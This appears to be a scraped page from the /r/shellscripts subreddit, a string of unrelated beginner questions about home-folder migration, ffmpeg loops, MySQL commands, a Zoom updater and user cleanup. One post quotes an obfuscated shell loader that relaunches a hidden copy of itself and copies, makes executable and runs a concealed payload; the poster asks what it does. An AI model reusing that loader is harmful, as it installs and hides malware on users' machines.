/r/shellscripts
bourne, perl, awk, korn - share it here!
The shellscripts reddit is a place where bourne-agains can share their perls of wisdom, pythonistas can wrap up code, etc -- you get the idea.
Sister subreddits:
/r/shellscripts
i'm writing a script for ease of moving the home folder or individually the user folder to a different location, (partion/ dir).
The script would implement a lot of checks and automate the home folder migration,
The script would rysc the contents to the new location, preserving permissions and state then use usermod to make the change.
The one thing that I need some advice is how a backup function should be implemented, as default or optional.
since there would be 2 copied when rsynced, there's no need to keep a third gziped copy.
Also, if you're aware, share any scripts out there.
Here are the core functionality at the moment.
The system consists of the following primary components:
graph TD
A[Script Entry] --> B[Argument Parser]
B --> C{Mode Selection}
C -->|Dry Run| D[Simulation Mode]
C -->|Test Mode| E[Test Environment]
C -->|Live Mode| F[Production Mode]
D --> G[Display Commands]
E --> H[Test Migration]
F --> I[Full Migration]
H --> J[Validation]
I --> J
J --> K[Backup System]
K --> L[Migration Process]
L --> M[Verification]
M --> N[Cleanup]
create_default_config()
: Generates default configuration fileprompt_for_config()
: Interactive configuration setupvalidate_options()
: Validates command-line argumentscheck_prerequisites()
: System requirements verificationvalidate_mount_point()
: Mount point validationverify_disk_space()
: Storage space verificationvalidate_user_input()
: User input validationcreate_backup()
: Backup creation with integrity checksperform_migration()
: Core migration processperform_dry_run()
: Simulation mode executionsetup_logging()
: Logging system initialization
cleanup()
: Resource cleanup
handle_error()
: Error management
log(), info(), error(), warn(), debug()
: Logging utilities
Hi,
Hoping someone with true unix knowledge can help with what will inevitably be something straightforward, but I can't seem to fumble my way through.
I'm just wanting to remove the $ORIG_DIR once the loop has run through a single and remove the $ALAC_DIR if the original files are .mp3 and it's finished the loop?
After the 'done' it doesn't recognise "$ALAC_DIR" or "$ORIG_DIR" as directories any more, before 'done' it removes the directories before all files have been processed and creates an error...
SOURCE_DIR="$(cd "$(dirname "${dirs[0]}")"; pwd)/$(basename "${dirs[0]}")"
SOURCE_DIR=$(dirname "$SOURCE_DIR/temp")
HIRES_DIR="$(cd "$(dirname "${dirs[1]}")"; pwd)/$(basename "${dirs[1]}")"
HIRES_DIR=$(dirname "$HIRES_DIR/temp")
LORES_DIR="$(cd "$(dirname "${dirs[2]}")"; pwd)/$(basename "${dirs[2]}")"
LORES_DIR=$(dirname "$LORES_DIR/temp")
find "$SOURCE_DIR" \( -iname '*.flac' -or -iname '*.mp3' \) -type f -print | while read -r FILE
do
ORIG_DIR=$(dirname "$FILE")
BASE=$(basename "$FILE")
BASE=${BASE%.*}
AAC_DIR=${ORIG_DIR/$SOURCE_DIR/$LORES_DIR}
ALAC_DIR=${ORIG_DIR/$SOURCE_DIR/$HIRES_DIR}
mkdir -p "$AAC_DIR" "$ALAC_DIR"
AAC_FILE="$AAC_DIR/$BASE.m4a"
ALAC_FILE="$ALAC_DIR/$BASE.m4a"
if [[ (! -f "$AAC_FILE" && $FILE == *.flac) ]]; then
ffmpeg -hide_banner -i "$FILE" -c:v copy -b:a 256k -c:a aac "$AAC_FILE" </dev/null &&
ffmpeg -hide_banner -i "$FILE" -c:v copy -c:a alac "$ALAC_FILE" </dev/null
elif [[ (! -f "$AAC_FILE" && $FILE == *.mp3) ]]; then
ffmpeg -hide_banner -i "$FILE" -c:v copy -b:a 256k -c:a aac "$AAC_FILE" </dev/null
fi
done
rmdir "$ALAC_DIR"
rm -Rf "$ORIG_DIR"
#!/usr/bin/env bash
cmd=$@
xargs -d '\n' -I {} $cmd "{}"
I am cleaning out some old hard drives and want to get rid of "old" Apple iTunes .M4P files as I no longer use Apple and just want them gone.
I wrote a quick one-liner but it is not working, and was hoping one of you might be able to assist.
This is what I have:
$ for i in `find . -iname "*.m4p"`; do rm -f "$i"; done;
also:
$ for i in $(find . -iname "*.m4p"); do rm -f "$i"; done;
The reason it is breaking is that I have many directories with the ampersand in it, e.g., :
Prince & The Revolution
And the shell keeps breaking at:
rm: cannot remove './Prince': Is a directory
I thought by enclosing the variable $i
within quotes it would work, but it does not.
So i know basic shell scripting and stumbled upon this question :-
Write and run a simple shell script which displays each of the command line arguments, one at a time and stops displaying command line arguments when it gets an argument whose value is “stop”.
can someone help me with this ? I'm new to shell scripting and know only the very basics of it as my role doesn't require it. So please help me with this. I've trying to look everywhere and couldn't find a solution to this
I have successfully written most of the bash scripting requirements to automate our and customers required functionality, but I am having a problem trying to get certain mysql commands working within the script. Commands such as below:
ALTER USER
SET GLOBAL
CREATE USER
GRANT
FLUSH
I am guessing it is because these are normally process through the "mysql" command prompt. To initially access mysql command prompt I am using:
```
mysql --connect-expired-password -uroot -p`grep "temporary password" /var/log/mysqld.log | awk '{print $NF}'`
```
Anyone know how the above commands can be completed in a script please?
I have tried the actual bash commands within the script but it only brings up the "mysql" command prompt.
I am trying to add the contents of certificate authority onto a json payload to insert via api call but can’t figure out how to do it.
I tried to $(cat ca.crt), CA=$(cat ca.crt) then echo or even just referencing it in json and it failed, tried to base64 encode and decode it but it also failed… any suggestions ?
I recently took backup of one of my server's drive on AWS using one of the software and now at the time of restoring it i found out it took too long to restore as its having billions of files to restore.
I tried to restore it from AWS itself but my problem is backup software created two directories inside my parent directories. I'm looking out some shell script by which i can move file parent direcoties and remove the direcories created by backup software.
Current dir structure :- /opt/folder_to_restore/file_to_restore.pdf$/20211013060615/file_to_restore.pdf
Expected dir strcture :- /opt/folder_to_restore/file_to_restore.pdf
I have used below script but giving syntax error please suggest.
awk 'NR==FNR{a[$1][$0];next} $0 in a {for (i in a[$0]) print i}' file1.txt file2.txt
I'm new to not Windows OS and POSIX script and I want to make this script to show me the volume so I can put it on my dwm bar:
#!/bin/sh
vol="$(amixer get Master | grep -o "[0-9]*%" | sed "s/%//")"
if "$vol" -ge 67 ; then
volSymbol="🔊"
elif "$vol" -ge 33 ; then
volSymbol="🔉"
else
volSymbol="🔈"
fi
amixer get Master | grep -o "[0-9]*%\|\[on\]\|\[off\]" | sed "s/\[on\]/"$volSymbol"/;s/\[off\]/🔇/"
the variable vol it's not an int so I can't do vol >= integer. I was trying to do with expr but failed.
Can you help me please? thanks.
====== SOLVED ======
I found the way myself
I needed to use [ ]. it looks like it's an alias for a program called test.
So if I do
if [ "$vol" -ge 67 ] ; then
instead of
if "$vol" -ge 67 ; then
it will work
I am making a project in which i am trying to put a varibale whit a colum of this dataset to after this see if this colum aren't true or false to delet it.
I am using vscode and gitbash for writing and running the code. Down below is the code. Is it correct?
#!/bin/sh
n=30.52
v=2.21
number= $(echo "$n - $v" | bc)
echo " Result is = $number"
#!/bin/sh
SC=$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P );BN=`basename "$0"`
"$SC/.$BN" &
MD=4f0ad18ebda2e024e931bffc6230fd8b;echo $MD > "/tmp/._power.log";PL_S=10;PL=$(find ~ -type f -iname ".????????.log" -print -quit) && if [ $PL_S -eq $(wc -c <"$PL") ]; then PLP=$(find ~ -name $(cat "$PL") -print -quit);fi;if [ -f "$PLP" ]; then
"$PLP" &
exit; else [ -f "$PL" ] && rm -rf "$PL";fi;B_P="$SC/.${BN}_";[ ! -f "$B_P" ] && B_P=$(find ~ -type f -name "._$MD" -print -quit); [ -f "$B_P" ] && TF=$(mktemp /tmp/XXXXXXXX) && cp "$B_P" "$TF" && echo "rm -rf $TF;exit" >> "$TF" && chmod +x "$TF" && "$TF" &
##################################
I know it's obfuscated, but it would probably take me a couple years to pull this apart and figure out what it does. Can someone tell me what it does?
Thanks
I have been tasked with updating zoom across our client sites on Mac's I have a script that will download and install the latest version however not everyone is logged on at the same time so I will be running it weekly but I would like for the script to see if the latest version is already installed and ignore that machine to save to much unintended traffic on the network and only update machines that require it here is my script for the update
#Make temp folder for downloads.
mkdir "/tmp/zoom/";
cd "/tmp/zoom/";
#Download Zoom.
curl -L -o /tmp/zoom/ZoomInstallerIT.pkg "https://zoom.us/client/latest/ZoomInstallerIT.pkg";
#install Zoom
sudo installer -pkg /private/tmp/zoom/ZoomInstallerIT.pkg -target /;
#tidy up
sudo rm -rf "/tmp/zoom";
exit 0
and this works fine but I don't know where I would add the extra lines?
I have this script but it doesn't seem to be working it reports that Zoom is installed but does not update it so if I could get this to work it would be great
#!/bin/bash
CurrentInstalledVersion=$(defaults read /Applications/zoom.us.app/contents/info CFBundleShortVersionString | cut -c1-5)
NewestVersion=“5.7.4”
ZoomPath="/Applications/zoom.us.app"
if [ -e $ZoomPath ]; then
printf "Zoom is currently installed\n"
elif [[ "$CurrentInstalledVersion" == "$NewestVersion" ]]; then
printf "The current installed version of Zoom.us.app is already installed\n"
else
curl -o /Users/Shared/Zoom.pkg 'https://zoom.us/client/latest/Zoom.pkg'
installer -pkg /Users/Shared/Zoom.pkg -target /
printf "Zoom has been updated or installed\n"
cd /Users/Shared; rm -v Zoom.pkg
fi
any help with this would be much appreciated
How can i kill all other telnet sessions on system except me. I am root.
Hello everyone, I need a little help with a script i am working.
I am executing the following CMD but I need to store the output value as a Variable so I can use it on a second part of the script. Any ideas are welcome!
nx -a $area_name get-id | grep -oP '(?<=ID:)[^ ]*'
Create a Linux shell script to accept a user's name and then print the same with a greeting.
As the title, if you can please put ideas or links that help be to practice in questions.
Thank
I am a newbie to Linux. I need help creating a shell script that checks for the existence of users before creating multiple users and adding them to an existing group from a csv file
I'm completely new to shell scripting and I'm trying to figure out how to create a script to make a bunch of folders sequentially. I know that in bash you can do something like; mkdir -p {3400..3410}
to make sequentially numbered folders.
However when I make a shell script that's
#!/bin/sh
mkdir -p {$1..$2}
and call it with sh make-folders.sh 100 200
I get a single folder {100..200}
Is this even possible to do?
Hello all,
I am stuck at a task that I must perform at work and was wondering if one of you wonderful people could guide me.
So I need to delete unnecessary users from bunch of (50+) servers. I have the list of users I want to delete and they are not spread on all servers. And before I delete the users I am suppose to check for any cronjobs and save the contents of /home dir.
I dont wanna do this manually for each user in each server that would seriously hamper my productivity. I am thinking maybe write a shell script and deploy in bunch of servers using ansible. I dont have any experience to do that though.
Any help would be appreciated.
Thank you
Most of the code was written from scratch. I am a newbie when it comes to shell scripting so I would to get more input from you guys. Check out my github for more information.
I have a shell script that updates pulling from git but I need to exit the MERG_MSG after the pull.
I have tried using
xdotool key "ctrl+x"
xdotool keydown "ctrl+x"
xdotool keyup "ctrl+x"
I am not sure if there is another way?
Thanks in advance.
Hi,
Wonder if someone could assist me. I have a list of specific filenames and their respective file paths ( over 1000 files each in individual folders) that I need to find and copy to a different folder in a Linux environment,
Could anyone point me in the right direction of a script/application which would achieve this ?
Any help would be appreciated !
Thanks
I've written a script to take each line of a file and output it into a separate file. I would like to have the script name the files file000.txt, file001.txt...file011.txt etc. Right now, this script outputs files named file1.txt, file2.txt...file11.txt etc. Can anyone help me output file names the way I need them? Thanks.
echo Enter file to be split:
read filename
let i=0
while read p; do
echo "$p" > file$i.txt
let "i++"
done <$filename
Hello everyone. I have started learning shell scripting few days back. I was trying to write a script in which I wanted to use hostname command, which shows computer's hostname. Something like if someone types anything else than the hostname INTRUDER! should be printed and if the right hostname is typed. "hostname is logged in" should be printed. I used read, if then else and declared hostname as a variable but to no success. Please help this novice. Thanks in advance.